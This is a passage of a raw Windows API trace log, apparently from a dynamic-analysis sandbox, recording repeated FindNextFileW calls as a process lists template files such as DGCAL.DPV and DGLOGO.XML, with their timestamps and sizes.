nFileSizeLow=0x4ce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACTINFOBB.POC", cAlternateFileName="")) returned 1 [0079.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fe70900, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x604d91d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1fe70900, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0xc692, dwReserved0=0x0, dwReserved1=0x0, cFileName="COUPON.POC", cAlternateFileName="")) returned 1 [0079.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ff04000, ftCreationTime.dwHighDateTime=0x1c5d95d, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8ff04000, ftLastWriteTime.dwHighDateTime=0x1c5d95d, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGACCBAR.DPV", cAlternateFileName="")) returned 1 [0079.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ded00, ftCreationTime.dwHighDateTime=0x1c98d98, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa0ded00, ftLastWriteTime.dwHighDateTime=0x1c98d98, nFileSizeHigh=0x0, nFileSizeLow=0xb22, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGACCBAR.XML", cAlternateFileName="")) returned 1 [0079.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf1300, ftCreationTime.dwHighDateTime=0x1c5d95d, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8ebf1300, ftLastWriteTime.dwHighDateTime=0x1c5d95d, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGACCBOX.DPV", cAlternateFileName="")) returned 1 [0079.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6027400, ftCreationTime.dwHighDateTime=0x1c91701, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6027400, ftLastWriteTime.dwHighDateTime=0x1c91701, nFileSizeHigh=0x0, nFileSizeLow=0x34e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGACCBOX.XML", cAlternateFileName="")) returned 1 [0079.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82ce100, ftCreationTime.dwHighDateTime=0x1c5ffa1, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe82ce100, ftLastWriteTime.dwHighDateTime=0x1c5ffa1, nFileSizeHigh=0x0, nFileSizeLow=0x4b2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGAD.DPV", cAlternateFileName="")) returned 1 [0079.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5aaf00, ftCreationTime.dwHighDateTime=0x1c91701, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5aaf00, ftLastWriteTime.dwHighDateTime=0x1c91701, nFileSizeHigh=0x0, nFileSizeLow=0x3be, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGAD.XML", cAlternateFileName="")) returned 1 [0079.659] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc92fc900, ftCreationTime.dwHighDateTime=0x1c7e8c2, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc92fc900, ftLastWriteTime.dwHighDateTime=0x1c7e8c2, nFileSizeHigh=0x0, nFileSizeLow=0x5269, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGATNGET.DPV", cAlternateFileName="")) returned 1 [0079.659] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16b2ea00, ftCreationTime.dwHighDateTime=0x1c91701, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16b2ea00, ftLastWriteTime.dwHighDateTime=0x1c91701, nFileSizeHigh=0x0, nFileSizeLow=0x145a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGATNGET.XML", cAlternateFileName="")) returned 1 [0079.659] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98487b00, ftCreationTime.dwHighDateTime=0x1c5d95d, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98487b00, ftLastWriteTime.dwHighDateTime=0x1c5d95d, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGBARBLL.DPV", cAlternateFileName="")) returned 1 [0079.659] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ded00, ftCreationTime.dwHighDateTime=0x1c98d98, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa0ded00, ftLastWriteTime.dwHighDateTime=0x1c98d98, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGBARBLL.XML", cAlternateFileName="")) returned 1 [0079.659] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98487b00, ftCreationTime.dwHighDateTime=0x1c5d95d, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98487b00, ftLastWriteTime.dwHighDateTime=0x1c5d95d, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGBORDER.DPV", cAlternateFileName="")) returned 1 [0079.659] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9924200, ftCreationTime.dwHighDateTime=0x1c9a14d, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9924200, ftLastWriteTime.dwHighDateTime=0x1c9a14d, nFileSizeHigh=0x0, nFileSizeLow=0x9a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGBORDER.XML", cAlternateFileName="")) returned 1 [0079.659] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98487b00, ftCreationTime.dwHighDateTime=0x1c5d95d, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98487b00, ftLastWriteTime.dwHighDateTime=0x1c5d95d, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGBOXES.DPV", cAlternateFileName="")) returned 1 [0079.659] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x321df500, ftCreationTime.dwHighDateTime=0x1c91701, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x321df500, ftLastWriteTime.dwHighDateTime=0x1c91701, nFileSizeHigh=0x0, nFileSizeLow=0x21e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGBOXES.XML", cAlternateFileName="")) returned 1 [0079.659] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1497e200, ftCreationTime.dwHighDateTime=0x1c6856f, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1497e200, ftLastWriteTime.dwHighDateTime=0x1c6856f, nFileSizeHigh=0x0, nFileSizeLow=0x35468, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGCAL.DPV", cAlternateFileName="")) returned 1 [0079.659] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba75d00, ftCreationTime.dwHighDateTime=0x1c91701, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ba75d00, ftLastWriteTime.dwHighDateTime=0x1c91701, nFileSizeHigh=0x0, nFileSizeLow=0x1e66, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGCAL.XML", cAlternateFileName="")) returned 1 [0079.659] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca59dd00, ftCreationTime.dwHighDateTime=0x1c5d95d, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca59dd00, ftLastWriteTime.dwHighDateTime=0x1c5d95d, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGCHKBRD.DPV", cAlternateFileName="")) returned 1 [0079.659] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ded00, ftCreationTime.dwHighDateTime=0x1c98d98, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa0ded00, ftLastWriteTime.dwHighDateTime=0x1c98d98, nFileSizeHigh=0x0, nFileSizeLow=0x29e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGCHKBRD.XML", cAlternateFileName="")) returned 1 [0079.659] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x147eee00, ftCreationTime.dwHighDateTime=0x1c9c48f, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x147eee00, ftLastWriteTime.dwHighDateTime=0x1c9c48f, nFileSizeHigh=0x0, nFileSizeLow=0x49e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGCINFO.XML", cAlternateFileName="")) returned 1 [0079.659] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4caf000, ftCreationTime.dwHighDateTime=0x1c5e8f4, ftLastAccessTime.dwLowDateTime=0x51dcda70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4caf000, ftLastWriteTime.dwHighDateTime=0x1c5e8f4, nFileSizeHigh=0x0, nFileSizeLow=0x6082, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGCOUPON.DPV", cAlternateFileName="")) returned 1 [0079.659] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c57d300, ftCreationTime.dwHighDateTime=0x1c91701, ftLastAccessTime.dwLowDateTime=0x51dcda70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c57d300, ftLastWriteTime.dwHighDateTime=0x1c91701, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGCOUPON.XML", cAlternateFileName="")) returned 1 [0079.659] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8274200, ftCreationTime.dwHighDateTime=0x1c5d95d, ftLastAccessTime.dwLowDateTime=0x51dcda70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8274200, ftLastWriteTime.dwHighDateTime=0x1c5d95d, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGDOTS.DPV", cAlternateFileName="")) returned 1 [0079.659] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d44000, ftCreationTime.dwHighDateTime=0x1c91701, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99d44000, ftLastWriteTime.dwHighDateTime=0x1c91701, nFileSizeHigh=0x0, nFileSizeLow=0x2b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGDOTS.XML", cAlternateFileName="")) returned 1 [0079.659] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38629c00, ftCreationTime.dwHighDateTime=0x1ca08e5, ftLastAccessTime.dwLowDateTime=0x51dcda70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38629c00, ftLastWriteTime.dwHighDateTime=0x1ca08e5, nFileSizeHigh=0x0, nFileSizeLow=0x1ba4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGHEADING.XML", cAlternateFileName="")) returned 1 [0079.659] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8274200, ftCreationTime.dwHighDateTime=0x1c5d95d, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8274200, ftLastWriteTime.dwHighDateTime=0x1c5d95d, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGLINACC.DPV", cAlternateFileName="")) returned 1 [0079.660] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa22c7b00, ftCreationTime.dwHighDateTime=0x1c91701, ftLastAccessTime.dwLowDateTime=0x51dcda70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa22c7b00, ftLastWriteTime.dwHighDateTime=0x1c91701, nFileSizeHigh=0x0, nFileSizeLow=0x21e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGLINACC.XML", cAlternateFileName="")) returned 1 [0079.660] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e5000, ftCreationTime.dwHighDateTime=0x1c5d95d, ftLastAccessTime.dwLowDateTime=0x51df3bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xef4e5000, ftLastWriteTime.dwHighDateTime=0x1c5d95d, nFileSizeHigh=0x0, nFileSizeLow=0x2ebf, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGLOGO.DPV", cAlternateFileName="")) returned 1 [0079.660] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa84b600, ftCreationTime.dwHighDateTime=0x1c91701, ftLastAccessTime.dwLowDateTime=0x51df3bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa84b600, ftLastWriteTime.dwHighDateTime=0x1c91701, nFileSizeHigh=0x0, nFileSizeLow=0x7ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGLOGO.XML", cAlternateFileName="")) returned 1 [0079.660] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d1c200, ftCreationTime.dwHighDateTime=0x1ca579b, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0d1c200, ftLastWriteTime.dwHighDateTime=0x1ca579b, nFileSizeHigh=0x0, nFileSizeLow=0xe39, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGMAIN.XML", cAlternateFileName="")) returned 1 [0079.660] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e5000, ftCreationTime.dwHighDateTime=0x1c5d95d, ftLastAccessTime.dwLowDateTime=0x51df3bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xef4e5000, ftLastWriteTime.dwHighDateTime=0x1c5d95d, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGMARQ.DPV", cAlternateFileName="")) returned 1 [0079.660] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba03ff00, ftCreationTime.dwHighDateTime=0x1c91701, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba03ff00, ftLastWriteTime.dwHighDateTime=0x1c91701, nFileSizeHigh=0x0, nFileSizeLow=0x33a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGMARQ.XML", cAlternateFileName="")) returned 1 [0079.660] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e00d500, ftCreationTime.dwHighDateTime=0x1c7e8c8, ftLastAccessTime.dwLowDateTime=0x51df3bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e00d500, ftLastWriteTime.dwHighDateTime=0x1c7e8c8, nFileSizeHigh=0x0, nFileSizeLow=0x50f94, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGMASTHD.DPV", cAlternateFileName="")) returned 1 [0079.660] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c37b00, ftCreationTime.dwHighDateTime=0x1c6272e, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8c37b00, ftLastWriteTime.dwHighDateTime=0x1c6272e, nFileSizeHigh=0x0, nFileSizeLow=0x71a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGNAVBAR.DPV", cAlternateFileName="")) returned 1 [0079.660] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fc98600, ftCreationTime.dwHighDateTime=0x1c94493, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8fc98600, ftLastWriteTime.dwHighDateTime=0x1c94493, nFileSizeHigh=0x0, nFileSizeLow=0x11c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGNAVBAR.XML", cAlternateFileName="")) returned 1 [0079.660] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb8e7500, ftCreationTime.dwHighDateTime=0x1c9a6a9, ftLastAccessTime.dwLowDateTime=0x51df3bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb8e7500, ftLastWriteTime.dwHighDateTime=0x1c9a6a9, nFileSizeHigh=0x0, nFileSizeLow=0x1eeda, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGPICCAP.DPV", cAlternateFileName="")) returned 1 [0079.660] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb78a5e00, ftCreationTime.dwHighDateTime=0x1c9a6c0, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb78a5e00, ftLastWriteTime.dwHighDateTime=0x1c9a6c0, nFileSizeHigh=0x0, nFileSizeLow=0x1aca, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGPICCAP.XML", cAlternateFileName="")) returned 1 [0079.660] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36e97a00, ftCreationTime.dwHighDateTime=0x1c7e417, ftLastAccessTime.dwLowDateTime=0x60786a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36e97a00, ftLastWriteTime.dwHighDateTime=0x1c7e417, nFileSizeHigh=0x0, nFileSizeLow=0x938f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGPQUOT.DPV", cAlternateFileName="")) returned 1 [0079.660] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3150300, ftCreationTime.dwHighDateTime=0x1c97a05, ftLastAccessTime.dwLowDateTime=0x60786a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3150300, ftLastWriteTime.dwHighDateTime=0x1c97a05, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGPQUOT.XML", cAlternateFileName="")) returned 1 [0079.660] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b69d100, ftCreationTime.dwHighDateTime=0x1c5d95e, ftLastAccessTime.dwLowDateTime=0x51df3bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b69d100, ftLastWriteTime.dwHighDateTime=0x1c5d95e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGPUNCT.DPV", cAlternateFileName="")) returned 1 [0079.661] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5039ff00, ftCreationTime.dwHighDateTime=0x1c9c865, ftLastAccessTime.dwLowDateTime=0x51df3bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5039ff00, ftLastWriteTime.dwHighDateTime=0x1c9c865, nFileSizeHigh=0x0, nFileSizeLow=0x556, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGPUNCT.XML", cAlternateFileName="")) returned 1 [0079.661] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2465f500, ftCreationTime.dwHighDateTime=0x1c68574, ftLastAccessTime.dwLowDateTime=0x60786a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2465f500, ftLastWriteTime.dwHighDateTime=0x1c68574, nFileSizeHigh=0x0, nFileSizeLow=0x6e87, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGREPFRM.DPV", cAlternateFileName="")) returned 1 [0079.661] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6cff600, ftCreationTime.dwHighDateTime=0x1c91701, ftLastAccessTime.dwLowDateTime=0x60786a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6cff600, ftLastWriteTime.dwHighDateTime=0x1c91701, nFileSizeHigh=0x0, nFileSizeLow=0x75c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGREPFRM.XML", cAlternateFileName="")) returned 1 [0079.661] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b6bca00, ftCreationTime.dwHighDateTime=0x1c68574, ftLastAccessTime.dwLowDateTime=0x60786a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b6bca00, ftLastWriteTime.dwHighDateTime=0x1c68574, nFileSizeHigh=0x0, nFileSizeLow=0xae41, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGSIDEBR.DPV", cAlternateFileName="")) returned 1 [0079.661] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2d1d600, ftCreationTime.dwHighDateTime=0x1c976eb, ftLastAccessTime.dwLowDateTime=0x51df3bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2d1d600, ftLastWriteTime.dwHighDateTime=0x1c976eb, nFileSizeHigh=0x0, nFileSizeLow=0x20ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGSIDEBR.XML", cAlternateFileName="")) returned 1 [0079.661] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x109f3b00, ftCreationTime.dwHighDateTime=0x1c976ec, ftLastAccessTime.dwLowDateTime=0x51df3bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x109f3b00, ftLastWriteTime.dwHighDateTime=0x1c976ec, nFileSizeHigh=0x0, nFileSizeLow=0xde6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGSIDEBRV.XML", cAlternateFileName="")) returned 1 [0079.661] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdd73700, ftCreationTime.dwHighDateTime=0x1c976e8, ftLastAccessTime.dwLowDateTime=0x60786a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfdd73700, ftLastWriteTime.dwHighDateTime=0x1c976e8, nFileSizeHigh=0x0, nFileSizeLow=0xb84, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGSTORY.XML", cAlternateFileName="")) returned 1 [0079.661] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, 